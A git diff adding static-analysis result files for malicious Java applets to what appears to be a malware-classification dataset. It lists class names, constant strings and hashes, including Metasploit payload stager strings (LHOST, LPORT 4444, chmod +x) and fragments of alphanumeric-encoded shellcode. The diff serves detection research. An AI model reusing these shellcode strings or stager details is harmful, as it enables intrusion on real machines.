"java_malicious/1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1", "_id": "bc32cef0-3910-41b9-ac82-aeaf2debe3cd", "score": 10, "entropy": 5.489806604352501, "libmagic": "compiled Java class data, version 51.0", "file_size": 3308, "ssdeep": "48:mrCw1s+MyFlokVqFdh6uD6jPyZ1iBYiZUpvUuS9M8mGQbWkfIkHc2o3AHJO59B:sx1s+NFlBSwhZUOa/qbBQp+B", "sha256": "1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1", "md5": "d979bae6c7f0830a86257fe9befab458", "parent_sha256": "1b14c4dec6375952f40d03e8d29598ac91c456fc2442ba17f3394ab5b5f631e1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f.results b/java_classification/data/malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f.results new file mode 100755 index 0000000..56d910a --- /dev/null +++ b/java_classification/data/malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Messenger", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Gae", "Vxae", "Modees", "Nitf", "Seledos", ""], "minor_version": 0, "const_pool_count": 56}}, "_id": "f29ef403-22b0-4492-8fc0-9089459a0b1b", "verbose": {"java": {"constant strings": ["setSecurityManager"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "19809bb8ec9bda75d3487de23c482399718e1413", "file_name": "java_malicious/1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f", "_id": "f29ef403-22b0-4492-8fc0-9089459a0b1b", "score": 0, "entropy": 5.209186461797221, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1194, "ssdeep": "24:sgOyQzjGb/Eefb1ARVNRzikclwsD+XhSnzOHl/:hOyJTxaVN3chD+Xhisl/", "sha256": "1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f", "md5": "028e2b0f1431bd58524fdf262831d8ac", "parent_sha256": "1b30859444bdd19b460926f685abc90662fbdad4b4ae105ecf45b0e1b05e1c2f"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71.results b/java_classification/data/malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71.results new file mode 100755 index 0000000..da74791 --- /dev/null +++ b/java_classification/data/malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/vppnpqzzza", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "sadpsoxxyiz", ""], "minor_version": 0, "const_pool_count": 443}}, "_id": "e65ccac9-ba25-403a-ac5f-472d47417a9e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "c580a97c24f53dcdd9370047615963b25747cf7e", "file_name": "java_malicious/1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71", "_id": "e65ccac9-ba25-403a-ac5f-472d47417a9e", "score": 0, "entropy": 5.205899472054257, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6907, "ssdeep": "192:LHqusYAm0W+FWlZw9sPe58so55UTYwa5hG5:bsYV0W+Z9Iu8sofUTkk", "sha256": "1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71", "md5": "0c26f119da27049579ca956ce9d57165", "parent_sha256": "1bd084776906db0a72dc42b40ed05c4bb98e537ebdbe637df72c24e84506cf71"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00.results b/java_classification/data/malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00.results new file mode 100755 index 0000000..2a9f2e7 --- /dev/null +++ b/java_classification/data/malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "padsvefas.java", "class_name": "padsvefas$dfbdsh_sa", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["", "getNumDataElements"], "minor_version": 0, "const_pool_count": 24}}, "_id": "b6d31855-b58f-4d00-878c-0f3454528aa8", "metadata": {"mimetype": "application/x-java-applet", "sha1": "a3fe4948fd7b66fd771fa629fe84768b22533e56", "file_name": "java_malicious/1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00", "_id": "b6d31855-b58f-4d00-878c-0f3454528aa8", "score": 0, "entropy": 5.138070617898751, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 459, "ssdeep": "12:GNWL5h0ulvIeWfrKqCU6H7dYpyjyBkmmVz17OwLeGLlyHll:iWL5h0ulv/WfrKjbdLzVzZOwKwMH/", "sha256": "1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00", "md5": "73a063c2cfd487548fb9c52949b75bda", "parent_sha256": "1bdba3269e8bbefa7f22429db7fa58b3a953ee95fdda37a371d2e713a0b8fa00"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7.results b/java_classification/data/malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7.results new file mode 100755 index 0000000..9af3b92 --- /dev/null +++ b/java_classification/data/malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "jkOhNNjnrt/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "5e021936-fb0a-4c6b-a221-2ad1a99d7039", "verbose": {"java": {"constant strings": ["jkOhNNjnrt.Payload", ".class", "/jkOhNNjnrt.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "jkOhNNjnrt.dat", "URL", "", "https:", "jkOhNNjnrt/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "jkOhNNjnrt/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "jkOhNNjnrt.PayloadTrustManager", "useFor", "java.net.URLConnection", "jkOhNNjnrt.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ce68a25dc000e7619ccb4fd4436358470f854fb", "file_name": "java_malicious/1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7", "_id": "5e021936-fb0a-4c6b-a221-2ad1a99d7039", "score": 0, "entropy": 6.132952933519736, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1t+ZJEtmJlyNvpvUrKYvCkgHzbDrDF:5+AJPlyNvZU+YvaH3B", "sha256": "1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7", "md5": "3aaf75e2c88874a2636247feb5f2190a", "parent_sha256": "1e22993c6e71111ad4d5d0318ae8e12a7e4d9c46938ea58f2094e3d53030d1a7"}} \ No newline at end of file diff --git a/java_classification/data/malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3.results b/java_classification/data/malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3.results new file mode 100755 index 0000000..2f71cd3 --- /dev/null +++ b/java_classification/data/malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "enudwwlhl/jqjqlqqdmrewcatpdaut", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["envbumaaveklwhkcuesylcwag", ""], "minor_version": 0, "const_pool_count": 187}}, "_id": "2fdc815e-2170-45da-ae06-0b90edd7a17d", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 6.3446610242670625}, "constant strings": ["L\\x15\\x12\\x0c\\x19\\x15\\x1e\\x13\\xc0\\x80P\\x1e\\x07\\x18Q\\x16\\x07\\x03\\n", "/Ld\\x1b\"B>RbMd", "GTBQAR", "$J Fd\\\\7\\x1d2I,O\\'M=J4E\"Z\"N6\\x1d#Q=\\x1b1\\x1c&E$\\x19e\\x19$", "\\x1a\\x05L\\x05\\x17\\x0cB\\x03\\x06\\x19\\x19X", ",O,^\\'", "FUMVMQ", "c\\x1ebR9K`O%X$\\x1d=E,\\x18g\\x18?@%\\x18`_fN$\\x18a\\x1fm\\x1a ", "B\\n\\x0e\\x04\\x0e\\x19\\x1a\\x14\\x16\\x0e\\x1e\\x19\\x16\\n\\x02\\x14", "g\\x18f\\x1eb", "GY\\x12\\x03\\x12P\\x12WC\\x01G\\x01\\x16\\x05", "&A%M:B2I!", "FX\\x12\\x03\\x15\\x01\\x17PFPG\\x05\\x16P\\x17XGU", "N:Z2[%E0I2D%]!", "GR\\x12P\\x12W\\x11\\x05GX", "I=L-[1F7^:C&", "R\\x1eR", "fQ`F\\'\\x107X6D?Fm[1OgKbC#\\x1c!B8", "\\x0e\\x05QFPCUA\\x1aG\\x0eFUGP\\x19W\\x19\\x0c", "2Y7\\x1aa]8\\x1b`I/[,\\x1b9C;\\x18#\\x186\\x19#J _$[3", "\\x19\\x08\\rU\\x03\\x15\\x04\\x17", "\\x1b7NfM6Nl\\x1fm\\x1blImKa\\x1b7", "\\x05\\x06\\x18\\x0b\\x19\\t", "\\x1ecL0N0Md\\x1ac\\x1b3", "\\x08\\x1d\\x04\\x07\\x0e\\x04\\x03\\x12\\x0e", "\\x1bfMeMeKg\\x1ad\\x1a4I4", "\\xc0\\x80\\x11\\x16\\x12\\x02\\x17\\x15\\x0e\\x05\\x0b\\x06\\x11\\x03\\x08", "\\x1baKdN4N0\\x1b7\\x1b4J0", "\\x07\\r\\x03\\x18\\x04\\x17\\x14\\x18\\x0f", "\\x1a4M4NeNf\\x1a4\\x1adJdK1\\x1bf\\x19`\\x103N4Jm\\x1d7Lm\\x1b7\\x103\\x101M3\\x1b1\\x18a\\x1cdJl\\x1b6\\x1d`\\x1dcL4J6\\x1c6\\x1f6", "\\x1b\\x10\\x07\\x04\\x12\\n\\x11\\t", "f\\x1eg\\x1cl", "\\x18U\\x15TF\\x0c\\r\\x05\\x06SD\\x12\\x06\\x19\\x1a\\x14\\x10V\\x07\\x0e\\x11\\x02", "\\x1aeM`M`Nc\\x1ff\\x1al", "\\n\\x04\\x05\\x10\\x06\\r\\x10\\x07\\x04\\x1d\\r\\r\\t\\x03\\x19", "\\x1amNcNmJb\\x18m\\x1bcJcL4\\x1ab", "\\t\\x18\\t\\x1e\\x10\\x12\\x0f\\x11\\x04\\x05\\x12"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "aae09e30870007f26331f2d2a3044faf5729905d", "file_name": "java_malicious/1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3", "_id": "2fdc815e-2170-45da-ae06-0b90edd7a17d", "score": 0, "entropy": 6.240356275569189, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2875, "ssdeep": "48:l3fbLjyI3IFSgzD2Sx65lOXgkZQj2uCXgVpelT1Qo5UtMx0O:ljCINkxqlM1uXelT1Q/Mx7", "sha256": "1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3", "md5": "8ed34f73a14b33b10f09a0e3c233c140", "parent_sha256": "1eaae0cf703a7dd8f693b37cc2ec481802eb65b1dc2e820e6b05b8ed3193f9a3"}} \ No newline at end of file diff --git a/java_classification/data/malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28.results b/java_classification/data/malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28.results new file mode 100755 index 0000000..6242f53 --- /dev/null +++ b/java_classification/data/malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/cbfqrdqqyrq", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "sujfpy", "npvfry", "eesnrhjh", "pgnvjljftcpflqm"], "minor_version": 0, "const_pool_count": 50}}, "_id": "e5bc5585-144e-4233-958e-b29ab3fe1434", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3c52717eb11de471dbf1ceb6e6d4d73581173e70", "file_name": "java_malicious/201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28", "_id": "e5bc5585-144e-4233-958e-b29ab3fe1434", "score": 0, "entropy": 5.447613153497707, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 871, "ssdeep": "24:hu9yQ/V2Nie6RsvPKHBVl1KvhqfleOvJKwY:09yyAMDR7HB4YhJY", "sha256": "201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28", "md5": "1edf27687d725ed96362fb7f119fb827", "parent_sha256": "201a163c7cdc56dc79fb16e983b46aae64249dccf38595bc9be17ffc1fca8b28"}} \ No newline at end of file diff --git a/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results b/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results new file mode 100755 index 0000000..cb43969 --- /dev/null +++ b/java_classification/data/malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "metasploit/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["main", "writeEmbeddedFile", "", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 615}}, "_id": "be7265bc-e98e-4c2f-bb51-bc45d61961bf", "verbose": {"java": {"constant strings": ["metasploit.Payload", ".class", "/metasploit.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "metasploit.dat", "URL", "", "https:", "metasploit/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "metasploit/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "call:", "getIn", "metasploit.PayloadTrustManager", "useFor", "java.net.URLConnection", "metasploit.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "43f02bcdb62941ab9a44f10e88132ad9ff7303ea", "file_name": "java_malicious/20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31", "_id": "be7265bc-e98e-4c2f-bb51-bc45d61961bf", "score": 0, "entropy": 6.121316210053115, "libmagic": "compiled Java class data, version 45.3", "file_size": 9589, "ssdeep": "96:t3DD1uoO2FtVBHwX9aiSMybW8KUNZ1Ipvq2ms2N49ZFqO7WrtRjtxMg7:RRhtvHemMyb5jNZqpvhxg4JqO7G3nn", "sha256": "20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31", "md5": "f27b48a25cfcc388ca275d67a908d294", "parent_sha256": "20297aceff0a0eb9caa704a524c40d3659ca5ac8ffbd623d2adb549a3cac7a31"}} \ No newline at end of file diff --git a/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results b/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results new file mode 100755 index 0000000..933f056 --- /dev/null +++ b/java_classification/data/malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 116}}, "_id": "4a62d5e0-a6cf-46a8-8394-239f9d90346b", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pZ,0z,0z,0N,pN,pL,Pn,pL,PN,py,xU,PU,Pu,Pu,Pz,KC,0K,Yk,Lg,pU,Pc,0Q,OU,4o,QF,Pg,p7,ps,0P,x6,ll,Ka,P4,LL,KP,pg,ll,ml,KQ,xE,X8,k7,yL,KC,pW,DL,Mc,p3,LN,kR,Hg,Ll,KL,73,Zt,Df,9M,8N,oW,pw,pw,pZ,BJ,Y3,Xr,O2,NE,PW,pQ,x2,US,BP,lB,Ms,d9,o7,fl,KK,Xy,xr,Yw,ps,0g,pl,KZ,ws,wo,pw,Og,pQ,e9,jp,Gr,ws,wO,pE,oU,Pt,58,zn,kX,oC,op,3k,ym,Qx,lv,dV,aW,pE,Pl,Ky,LP,QR,rp,Sq,xc,4w,qu,Pg,pK,Op,V4,Lq,Jp,YR,qQ,Bl,K5,Rc,ca,Sm,PG,KU,Pp,uK,Jk,13,K9,lD,nS,Ur,Xs,Ut,5w,sM,Sj,KV,hO,ys,3z,gs,sv,d4,nQ,uC,Hp,eK,v1,SG,x7,ps,kO,zi,QS,4t,pL,Hq,U3,0t,sy,Pv,0r,p2,ss,gP,Pi,oq,FV,pm,Sx,xu,Ps,EF,fP,j3,1q,Ci,os,fG,tq,JP,Ym,SK,r4,Ds,qK,05,jW,pc,EM,di,oR,vU,X2,qB,vL,KR,U7,LN,kD,4v,Ns,H3,3L,5c,fL,KC,Fg,P6,cY,eV,SY,Yc,yR,al,me,Si,UW,CK,kT,Om,nt,Pe,jH,VP,t6,hJ,aZ,k6,mF,cK,j3,p8,kJ,Qw,Kw,o2,U9,wS,nL,K1,Nw,Tt,Cy,M1,vl,Kt,Lb,kn,k1,NW,lw,sk,mL,KG,tL,Kd,CH,En,K1,N0,YY,Sy,xk,Oy,nI,oK,OL,N0,Nv,nJ,LN,x9,nm,ZV,nC,NH,XI,rs,Ct,sJ,jO,z3,kT,vf,zF,O0,pP,T0,Ov,2s,Us,0b,HT,4s,Dr,P4,zT,of,OQ,rr,Es,Rp,or,QP,e4,nU,9P,ne,6P,of,OE,3p,gs,YF,MU,2Q,yb,NV,Op,l0,oc,WC,YP,nD,nC,XP,tb,Mr,LV,OS,Jt,pt,pf,Xv,Qf,Pd,v7,Bt,pe,a0,3t,q6,XR,Rt,pt,pP,1d,sP,JV,PU,6v,PT,pp,0W,FF,Pv,Qf,2Q,ue,1g,B6,RD,y4,wv,RU,bf,75,54,u0,as,Ug,DF,WV,P6,Wb,xU,fd,sP,cu,g6,Ub,DT,rf,V0,Ye,bt,xR,BT,tV,VS,Q5,5t,sP,ZF,PP,1F,P4,pP,ft,pF,W6,Pg,pu,PA,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "u", "abs", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "caa1fde6dd4970acfcf34204c471f9f06798d4eb", "file_name": "java_malicious/205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6", "_id": "4a62d5e0-a6cf-46a8-8394-239f9d90346b", "score": 0, "entropy": 6.106701153002516, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3577, "ssdeep": "96:TwFlmyI20fvCrsWOBWKLce58rSCjtrbF8y4cM:mlmKgyKLce5cXpDnM", "sha256": "205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6", "md5": "3b0af5a0e77db053768dffe8eb6b0b02", "parent_sha256": "205203a06ea016973a6943b2f6af62db2e13045cfcc234be610804f24b9269a6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results b/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results new file mode 100755 index 0000000..55a6adb --- /dev/null +++ b/java_classification/data/malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/fagmyvqipdtal", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ozaunsjmrn", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "5e8f40bc-4f97-40f4-8982-2c2c22b78616", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdf9eb26d3d8498fc96882cac32149094939334b", "file_name": "java_malicious/20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6", "_id": "5e8f40bc-4f97-40f4-8982-2c2c22b78616", "score": 0, "entropy": 5.220312242028212, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6978, "ssdeep": "192:TAx7SPiGh0OoWYHpHZxhi/To55UTYwa5hGX1:dlh0OJgHZyTofUTkc1", "sha256": "20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6", "md5": "96362ef1bfcfd77587cefd87dd4917dd", "parent_sha256": "20fcc274994804cc1416d0ba07f50a4e1e8d19ff5d356de3ddd444cc775837e6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results b/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results new file mode 100755 index 0000000..698e825 --- /dev/null +++ b/java_classification/data/malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PPtflFql.java", "class_name": "JGXgwWYpp/PPtflFql", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "GzTmSiw", "stkqloy", ""], "minor_version": 0, "const_pool_count": 355}}, "_id": "19a3715f-48b2-4401-b991-2e8497964f5c", "verbose": {"java": {"constant strings": ["\\x08\\n\\x1f", "\\x15\\x19\\x18\\x15\\x18", "\\x1f\\x0b\\x1b\\t\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "101647deb57136012af005dc056eb3a64a54de66", "file_name": "java_malicious/2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752", "_id": "19a3715f-48b2-4401-b991-2e8497964f5c", "score": 0, "entropy": 5.278040284982172, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6731, "ssdeep": "96:o/ydFTQV8FFlb8wInFHK+p0vXvHPffJmldDR:oGTQglb8wIlK+W/P3hcR", "sha256": "2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752", "md5": "4be769ab16b3e7d1fb5fec35a36390ab", "parent_sha256": "2144ddb8dcc53c2b2722368795ad8ff755aacc7e4ef96c916d53311c61f1d752"}} \ No newline at end of file diff --git a/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results b/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results new file mode 100755 index 0000000..795c546 --- /dev/null +++ b/java_classification/data/malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "EMWDppjowZ/wPzCdlz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "f68708c2-3185-4fab-bc4b-87d595dc3a56", "verbose": {"java": {"constant strings": ["EMWDppjowZ.wPzCdlz", ".class", "/EMWDppjowZ.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "EMWDppjowZ.dat", "URL", "", "https:", "EMWDppjowZ/wPzCdlzTrustManager.class", "wPzCdlzTrustManager.class", "AESPassword", "EMWDppjowZ/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "EMWDppjowZ.wPzCdlzTrustManager", "useFor", "java.net.URLConnection", "EMWDppjowZ.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "wPzCdlz -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c4679fc5b7d6f2c02aefb713b96cbd6a533df483", "file_name": "java_malicious/217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33", "_id": "f68708c2-3185-4fab-bc4b-87d595dc3a56", "score": 0, "entropy": 6.151357503927828, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tVWIqYtmiwIyNvpvUrKYvCkgHzbDrDF:5+eIqEwIyNvZU+YvaH3B", "sha256": "217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33", "md5": "855bc4dac06aab532e6637c4050c53c1", "parent_sha256": "217fcb036dd9470ae2b6c931bc8a0b71879e381e30aa672f5c55f63be5a86d33"}} \ No newline at end of file diff --git a/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results b/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results new file mode 100755 index 0000000..b747431 --- /dev/null +++ b/java_classification/data/malicious/218d37dd810f3eb9a51bda2630237785cf55d95e532d7a92b661d944b2e8d908.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 110}}, "_id": "d6bc0710-828f-487c-a813-21bc598f05fe", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA-XP-0A-0A-kA-AQ-2A-B2-BB-0B-BA-BX-P8-AB-uJ-In-pl-Pl-Pz-0l-Pl-Pn-pJ-0j-0n-pM-8U-PU-PW-pu-Ph-ku-PZ-I9-lw-pw-pU-PQ-OP-dM-qp-0U-PU-P7-pp-xf-lN-kc-p6-lN-kP-p5-Ll-mL-Kq-xe-Xh-kw-yl-Kw-0w-Dn-m7-0s-LL-Kq-x7-Ln-ki-gP-j6-dR-yx-hl-OE-Pg-p3-0z-BX-ys-XR-Op-nW-p5-Pu-8r-UT-2b-LB-Mq-Dk-OE-FN-kY-xY-xC-Is-0W-pu-PL-Kj-ws-wK-0G-OS-0P-u8-zQ-WP-WC-wO-pg-O7-p4-5H-zl-Kz-O3-ot-sh-IM-Qx-lC-4U-QE-P7-pL-KK-lp-QB-r6-31-xS-4g-q5-P5-PK-OF-6T-Lc-jS-ir-qS-bn-kS-22-sq-SK-0w-K3-0P-uK-JM-QS-Ky-lF-Nc-Up-xa-u2-UC-3O-sx-kv-hm-YW-sK-wQ-Sc-4t-nS-Up-xq-ui-Vq-SV-hS-0s-kl-Jy-QC-4v-Pk-87-5c-0T-so-0v-0R-pp-SQ-GP-Py-or-vT-Pn-cj-Xe-PT-57-va-zu-QQ-Ci-o2-v6-dr-zV-9O-sy-Ru-Tq-Qm-PV-ZC-0q-eM-dy-o1-Fu-Xv-12-vN-kR-Uw-Ll-Ka-dv-Ns-HE-Sx-uV-6n-ks-Fe-pg-si-eE-cK-y1-Ys-qN-Mu-SX-EV-SK-kt-OM-n4-P4-zj-vQ-dE-XJ-ax-K4-MW-sy-JQ-Ph-kL-1W-Ku-OR-UY-wa-Nl-Kc-nQ-47-sy-Mu-6l-KT-LP-Kl-Ks-nU-LV-cK-ml-K7-tn-kV-cK-uL-kq-NR-yo-3y-xk-OY-ni-oI-oL-N2-nT-NZ-Ln-xi-nN-jv-nc-Ny-HK-RQ-cD-sJ-jN-js-kE-fV-zt-oP-pp-Fr-Eq-ws-fu-Ps-XP-tT-4r-P5-jV-O